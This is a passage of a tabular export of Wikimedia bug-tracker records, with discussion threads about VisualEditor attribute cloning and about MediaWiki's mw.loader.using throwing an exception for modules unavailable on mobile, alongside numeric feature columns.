**Severity**: normal",High,80.0,1366155600,1366652364.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_description,resolved,True,c1,1,False,False,True,-11,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,4.264705882352941,0.7352941176470589,"We're cloning html/data-parsoid which Subbu tells me messes with selser correctness

--------------------------
**Version**: unspecified
**Severity**: normal"
231012,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,This is now merged.,,,1366652364,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This is now merged.
231008,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,Related URL: https://gerrit.wikimedia.org/r/59836 (Gerrit Change I428becf95c70d0ed8af5b0c408e3966dc47fd8c3),,,1366300913,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I428becf95c70d0ed8af5b0c408e3966dc47fd8c3)
231003,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,"Roan clarified on IRC that this is not happening right now, but about and typeof attributes should not be cloned either. Just adding here to track info. in one place.",,,1366155988,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.029411764705882,0.9117647058823529,"Roan clarified on IRC that this is not happening right now, but about and typeof attributes should not be cloned either. Just adding here to track info. in one place."
49296,mw.loader.using should not throw an exception when an optional module doesn't exist,"To give an example:
mediawiki.page.ready.js runs on mobile (it specifies targets=>mobile) however attempts to lazy load the tablesorter plugin which is not available on mobile (it specifies targets=>desktop)

This currently throws an exception.

Avoiding a bike shedding conversation about whether jquery.tablesorter should be available on mobile, it is wrong to make the assumption that a module will always be available.

Expected: Instead of seeing an exception I would like to allow the user to handle the error themselves - allowing optional modules to die silently.

e.g.
mw.loader.using( 'jquery.tablesorter', function () {
	$sortableTables.tablesorter();
}, function( e ) {
throw e;
});

or 
mw.loader.using( 'jquery.tablesorter' ).done( function () {
	$sortableTables.tablesorter();
});

Another example of this being a problem is on the edit page which asumes mediawiki.action.edit is available:

mw.loader.using(""mediawiki.action.edit""

Currently there is a hack in MobileFrontend to get around this [1]


[1] https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/MobileFrontend.git;a=blob;f=includes/skins/SkinMobile.php;h=27ab4ef44fc138566bbf3e1ab32cd5af20daf246;hb=HEAD#l241

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1366152300,1383254422.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-foy2pwxdiqiuemtnxzak,task_description,declined,True,c1,1,False,False,False,-11,,0.0,0.0,0.0,0.0,0.3333333333333333,3.0,2.6666666666666665,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,6.666666666666667,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,3.6666666666666665,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,11.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,3.0,4.666666666666667,0.6666666666666666,0.3333333333333333,7.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,2.3333333333333335,0.0,1.6666666666666667,6.666666666666667,1.3333333333333333,0.0,1.6666666666666667,0.0,1.6666666666666667,0.0,0.6666666666666666,2.6666666666666665,0.3333333333333333,1.3333333333333333,0.0,0.0,1.3333333333333333,4.420091324200913,0.6575342465753424,"To give an example:
mediawiki.page.ready.js runs on mobile (it specifies targets=>mobile) however attempts to lazy load the tablesorter plugin which is not available on mobile (it specifies targets=>desktop)

This currently throws an exception.

Avoiding a bike shedding conversation about whether jquery.tablesorter should be available on mobile, it is wrong to make the assumption that a module will always be available.

Expected: Instead of seeing an exception I would like to allow the user to handle the error themselves - allowing optional modules to die silently.

e.g.
mw.loader.using( 'jquery.tablesorter', function () {
	$sortableTables.tablesorter();
}, function( e ) {
throw e;
});

or 
mw.loader.using( 'jquery.tablesorter' ).done( function () {
	$sortableTables.tablesorter();
});

Another example of this being a problem is on the edit page which asumes mediawiki.action.edit is available:

mw.loader.using(""mediawiki.action.edit""

Currently there is a hack in MobileFrontend to get around this [1]


[1] URL

--------------------------
**Version**: 1.22.0
**Severity**: normal"
230974,mw.loader.using should not throw an exception when an optional module doesn't exist,"I'll tentatively close this, then, to have less stuff seemingly blocking the release.",,,1383254422,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,18.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.294117647058823,0.9411764705882353,"I'll tentatively close this, then, to have less stuff seemingly blocking the release."
230966,mw.loader.using should not throw an exception when an optional module doesn't exist,"I am happy for someone to agree with Krinle and close this as WONTFIX
The mobile skin doesn't load mediawiki.page.ready now since we introduced Skin::getDefaultModules so the original problem isn't a problem.

If someone really wants to load something optionally they can use a try / catch",,,1383252679,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,False,,,17,,0.0,6.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,10.0,15.0,6.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,6.0,2.0,10.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,15.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.711538461538462,0.8846153846153846,"I am happy for someone to agree with Krinle and close this as WONTFIX
The mobile skin doesn't load mediawiki.page.ready now since we introduced Skin::getDefaultModules so the original problem isn't a problem.

If someone really wants to load something optionally they can use a try / catch"
230956,mw.loader.using should not throw an exception when an optional module doesn't exist,"Is this blocking the release, and if yes, why has nobody done anything about it? I sympathise with Krinkle's comment 7.",,,1383248523,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,True,,,17,,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8076923076923075,0.9615384615384616,"Is this blocking the release, and if yes, why has nobody done anything about it? I sympathise with Krinkle's comment 7."
230946,mw.loader.using should not throw an exception when an optional module doesn't exist,"As the Target Milestone on this ticket has been set to 1.22.0:

According to http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/072030.html ""MediaWiki 1.22 is slated for release on November 30th, at the very latest.""

If this is still intended to get fixed for 1.22.0, a patch is needed soon.",,,1380208136,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,15.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,19.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.7115384615384617,0.75,"As the Target Milestone on this ticket has been set to 1.22.0:

According to URL ""MediaWiki 1.22 is slated for release on November 30th, at the very latest.""

If this is still intended to get fixed for 1.22.0, a patch is needed soon."
230936,mw.loader.using should not throw an exception when an optional module doesn't exist,"This is now less of a problem in mobile as we have reduced the possibility of this happening to only situations where a module has been renamed/typed incorrectly/ is not available due to being in mobile mode rather than desktop. The tablesorter exception is no longer called.

My main worry about this is that since ResourceLoader concatenates code one module failing can prevent the execution of another module. This seems wrong. I can understand an entire module from throwing an exception and not executing but stopping all javascript from executing seems wrong.

I really don't understand the need for an exception under all circumstances. Could we not default the error handler to throwing an exception to at least allow developers to override it. For example a gadget might want to do something with a module if it's available but fail silently if it's not so it can be used on as many wiki's as possible that may or may not have the module it does something with)

// module 1
mw.loader.using( 'foobar', function() {
} );

// module 2
(function(){ alert( 4 ); })()

On a similar subject it would be great to see mw.loader.using return a jQuery.deferred object.",,,1370024390,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-5,,1.0,0.6666666666666666,0.0,1.0,2.0,5.333333333333333,1.6666666666666667,0.0,0.0,0.6666666666666666,2.0,1.3333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,5.0,11.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,4.666666666666667,1.0,2.3333333333333335,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,9.666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,3.0,3.3333333333333335,2.0,1.3333333333333333,8.0,0.0,0.0,0.0,0.0,4.666666666666667,0.0,2.6666666666666665,0.0,4.0,11.0,1.3333333333333333,0.0,1.0,0.0,4.0,0.0,0.6666666666666666,3.6666666666666665,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,4.103111814345991,0.6887130801687764,"This is now less of a problem in mobile as we have reduced the possibility of this happening to only situations where a module has been renamed/typed incorrectly/ is not available due to being in mobile mode rather than desktop. The tablesorter exception is no longer called.

My main worry about this is that since ResourceLoader concatenates code one module failing can prevent the execution of another module. This seems wrong. I can understand an entire module from throwing an exception and not executing but stopping all javascript from executing seems wrong.

I really don't understand the need for an exception under all circumstances. Could we not default the error handler to throwing an exception to at least allow developers to override it. For example a gadget might want to do something with a module if it's available but fail silently if it's not so it can be used on as many wiki's as possible that may or may not have the module it does something with)

// module 1
mw.loader.using( 'foobar', function() {
} );

// module 2
(function(){ alert( 4 ); })()

On a similar subject it would be great to see mw.loader.using return a jQuery.deferred object."
230929,mw.loader.using should not throw an exception when an optional module doesn't exist,See bug 47882 to discuss my side note about mediawiki.page.ready - please leave discussion on this bug simply about behaviour for when a module doesn't exist.,,,1367334019,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9285714285714286,See bug 47882 to discuss my side note about mediawiki.page.ready - please leave discussion on this bug simply about behaviour for when a module doesn't exist.
230924,mw.loader.using should not throw an exception when an optional module doesn't exist,"jQuery.tablesorter seems to be an optional dependency - the code is loaded in the client only on pages which need it (otherwise the 'mediawiki.page.ready' resource loader module would specify it as a hard dependency in its dependencies)

If jquery.tablesorter was listed in the module manifest [1] for mediawiki.page.ready I could understand it throwing an exception when mediawiki.page.ready uses it - but it is /NOT/ thus the code in mediawiki.page.ready is making a bad assumption that that module exists and is available. In this case it is an optional module (otherwise it would be in the module manifest of a module that /has/ been knowingly added to the page) and the page will survive without it. I am sure however in other cases an exception might make more sense e.g. mw.using( 'mediawiki.modulethatwasrenamed' ). I don't know the resource loader code well enough but it seems it would be useful to distinguish between modules that do not exist and modules that have the wrong target.

On a side note mediawiki.page.ready doesn't look very useful to mobile - input placeholders are not really a problem on modern mobile browsers, we don't use the collapsible code, as this bug reveals the tablesorter isn't expected to work, access keys are useless on mobile and CheckboxShiftClick - I have no idea what that is but doesn't sound very mobile friendly. For our particular problem we should probably simply disable this module on the mobile site - yet it seems to be needed for qunit (wtf)?! [2]

[1]
'mediawiki.page.ready' => array(
		'scripts' => 'resources/mediawiki.page/mediawiki.page.ready.js',
		'dependencies' => array(
			'jquery.checkboxShiftClick',
			'jquery.makeCollapsible',
			'jquery.placeholder',
			'jquery.mw-jump',
			'mediawiki.util',
		),
		'targets' => array( 'desktop', 'mobile' ),
	),


Krinkle I disagree that we should enable jquery.tablesorter on mobile and we certainly shouldn't do it 'simply' - but that's another bug/discussion (see my comments on bug 47858) - let's not discuss that here.


[2] Change-Id: I84e0512590de9ff2dbdf519d983a0c1c2d007194",,,1367333875,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.4,1.0,1.8,4.0,1.4,0.0,0.0,0.2,3.0,7.6,0.0,0.2,0.0,2.4,0.0,6.0,6.4,0.0,0.8,0.6,0.0,0.0,0.2,0.0,0.0,0.0,0.4,0.8,0.0,5.2,1.4,2.6,0.4,0.0,0.6,0.0,0.0,0.0,0.2,0.0,0.0,1.0,0.0,0.8,0.4,0.4,0.0,14.4,0.4,1.2,0.0,0.4,0.0,0.0,0.0,0.0,0.4,0.0,0.2,1.8,0.0,0.4,0.6,0.6,0.0,4.4,3.2,3.0,0.8,1.8,6.6,0.0,0.0,0.2,0.0,4.4,0.0,1.0,0.0,5.2,6.4,3.0,0.2,6.4,0.0,5.2,0.0,1.2,1.8,0.0,0.4,0.2,0.0,2.6,4.273809523809524,0.6761904761904761,"jQuery.tablesorter seems to be an optional dependency - the code is loaded in the client only on pages which need it (otherwise the 'mediawiki.page.ready' resource loader module would specify it as a hard dependency in its dependencies)

If jquery.tablesorter was listed in the module manifest [1] for mediawiki.page.ready I could understand it throwing an exception when mediawiki.page.ready uses it - but it is /NOT/ thus the code in mediawiki.page.ready is making a bad assumption that that module exists and is available. In this case it is an optional module (otherwise it would be in the module manifest of a module that /has/ been knowingly added to the page) and the page will survive without it. I am sure however in other cases an exception might make more sense e.g. mw.using( 'mediawiki.modulethatwasrenamed' ). I don't know the resource loader code well enough but it seems it would be useful to distinguish between modules that do not exist and modules that have the wrong target.

On a side note mediawiki.page.ready doesn't look very useful to mobile - input placeholders are not really a problem on modern mobile browsers, we don't use the collapsible code, as this bug reveals the tablesorter isn't expected to work, access keys are useless on mobile and CheckboxShiftClick - I have no idea what that is but doesn't sound very mobile friendly. For our particular problem we should probably simply disable this module on the mobile site - yet it seems to be needed for qunit (wtf)?! [2]

[1]
'mediawiki.page.ready' => array(
		'scripts' => 'resources/mediawiki.page/mediawiki.page.ready.js',
		'dependencies' => array(
			'jquery.checkboxShiftClick',
			'jquery.makeCollapsible',
			'jquery.placeholder',
			'jquery.mw-jump',
			'mediawiki.util',
		),
		'targets' => array( 'desktop', 'mobile' ),
	),


Krinkle I disagree that we should enable jquery.tablesorter on mobile and we certainly shouldn't do it 'simply' - but that's another bug/discussion (see my comments on bug 47858) - let's not discuss that here.


[2] Change-Id: I84e0512590de9ff2dbdf519d983a0c1c2d007194"
230919,mw.loader.using should not throw an exception when an optional module doesn't exist,"For the curious, you can find the problematic behavior exemplified on:
https://en.m.wikipedia.org/wiki/Wikipedia:Sortable_table",,,1367281374,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,0.9333333333333333,"For the curious, you can find the problematic behavior exemplified on:
URL"
230915,mw.loader.using should not throw an exception when an optional module doesn't exist,"**jgonera** wrote:

Krinkle, I agree. If we deprecate the error callback, then throwing an error is OK. But let's make it consistent.

Also, Jon, this particular mediawiki.action.edit case will become less important to us because we can, and hopefully soon will, provide our own custom edit form, instead of the one generated by EditPage.php.",,,1367280531,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,8.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,11.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,7.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,3.9863013698630136,0.7671232876712328,"**jgonera** wrote:

Krinkle, I agree. If we deprecate the error callback, then throwing an error is OK. But let's make it consistent.

Also, Jon, this particular mediawiki.action.edit case will become less important to us because we can, and hopefully soon will, provide our own custom edit form, instead of the one generated by EditPage.php."
230910,mw.loader.using should not throw an exception when an optional module doesn't exist,"(In reply to comment #5)
> That change should go out during next Tuesday's regular deployment

For the deployment I think it is more feasible to simply enable jquery.tablesorter on mobile. We can decide whether to surpress error reporting on missing dependencies later.",,,1367280280,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,20.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,8.0,20.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,4.4,0.9,"(In reply to comment #5)
QUOTE

For the deployment I think it is more feasible to simply enable jquery.tablesorter on mobile. We can decide whether to surpress error reporting on missing dependencies later."
230905,mw.loader.using should not throw an exception when an optional module doesn't exist,"I'm not convinced that this should be solved by suppressing the exception and turning it into an optional callback.

When a dependency is specified in the module manifest that doesn't exist[1], we throw. This is currently the case and (afaik) acceptable behaviour because it is a fatal problem. The code must not be attempted to run without that other module.

When a dependency is specified inline at runtime (wrapping the code in a function) which doesn't exist, we throw. I don't see why that would be any different.

Yes, mw.loader.using has an error callback. But aside from this being almost never used (I haven't seen it in use, ever), it is unlikely that an implementation would be anything other than throwing an error. The module ought to be there.

When a module is added to the page by an extension or by core, it is with the intention to make something happen on that page. If that module is unable to load its code, that should throw.

ext.wikiLove.init, ext.articleFeedback.init, VisualEditor, mediawiki.page.ready. All of these load modules after a check or event. They should not be loaded on the page if their dependencies are not available, and loading it anyway should throw.

I'd recommend: Look at this error and fix it.

In this case it means a module is loaded on mobile but one of its dependencies is not yet compatible with mobile. That means it (=jquery.tablesorter) should either be made compatible, or the containing module removed from mobile for the mean while (=mediawiki.page.ready). This isn't my own idea, I've seen this happen before with various other modules and I'm merely suggesting we act the same.

This error is good, because without it you wouldn't have known that we made a mistake and forgot one of the dependencies of mediawiki.page.ready when you enabled it on mobile. This is how we found them before as well, except before they were server-side dependencies and now they're inline.


Having said that, I'd like a view from Roan and/or Trevor on this as well. Personally I'd like to keep this exception and instead deprecate the error callback.


[1] Exist as in, in the current execution. Because since the 'target' property was created a module can exist in general, but be invisible to the current request context based on the 'target' parameter, thus making any errors related to it somewhat ambiguous (not visible in this target vs. module not existing in general - very different problems).",,,1367280136,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-foy2pwxdiqiuemtnxzak,task_subcomment,,True,c1,1,True,,,-9,,0.6,0.4,0.2,2.0,2.6,4.8,2.0,0.6,0.0,0.4,2.8,3.4,0.0,0.6,0.0,2.8,0.6,8.4,11.6,0.4,1.0,1.4,0.4,0.0,1.4,0.0,0.0,0.0,0.2,1.2,0.0,5.8,2.0,2.8,0.6,0.4,0.0,0.2,0.2,0.6,0.0,1.0,0.2,1.4,0.2,0.8,0.0,0.2,0.2,12.8,2.0,2.2,0.4,0.0,0.0,0.6,0.2,0.6,0.6,0.2,0.0,2.0,0.0,1.2,0.2,0.2,0.2,6.6,5.0,6.4,3.4,3.0,11.2,0.0,0.0,0.0,0.0,5.2,0.2,0.6,0.0,7.0,11.6,1.8,0.0,0.8,0.0,7.0,0.0,1.8,3.0,0.2,2.2,0.0,0.0,0.6,4.108383838383839,0.6788282828282828,"I'm not convinced that this should be solved by suppressing the exception and turning it into an optional callback.

When a dependency is specified in the module manifest that doesn't exist[1], we throw. This is currently the case and (afaik) acceptable behaviour because it is a fatal problem. The code must not be attempted to run without that other module.

When a dependency is specified inline at runtime (wrapping the code in a function) which doesn't exist, we throw. I don't see why that would be any different.

Yes, mw.loader.using has an error callback. But aside from this being almost never used (I haven't seen it in use, ever), it is unlikely that an implementation would be anything other than throwing an error. The module ought to be there.

When a module is added to the page by an extension or by core, it is with the intention to make something happen on that page. If that module is unable to load its code, that should throw.

ext.wikiLove.init, ext.articleFeedback.init, VisualEditor, mediawiki.page.ready. All of these load modules after a check or event. They should not be loaded on the page if their dependencies are not available, and loading it anyway should throw.

I'd recommend: Look at this error and fix it.

In this case it means a module is loaded on mobile but one of its dependencies is not yet compatible with mobile. That means it (=jquery.tablesorter) should either be made compatible, or the containing module removed from mobile for the mean while (=mediawiki.page.ready). This isn't my own idea, I've seen this happen before with various other modules and I'm merely suggesting we act the same.

This error is good, because without it you wouldn't have known that we made a mistake and forgot one of the dependencies of mediawiki.page.ready when you enabled it on mobile. This is how we found them before as well, except before they were server-side dependencies and now they're inline.


Having said that, I'd like a view from Roan and/or Trevor on this as well. Personally I'd like to keep this exception and instead deprecate the error callback.


[1] Exist as in, in the current execution. Because since the 'target' property was created a module can exist in general, but be invisible to the current request context based on the 'target' parameter, thus making any errors related to it somewhat ambiguous (not visible in this target vs. module not existing in general - very different problems)."
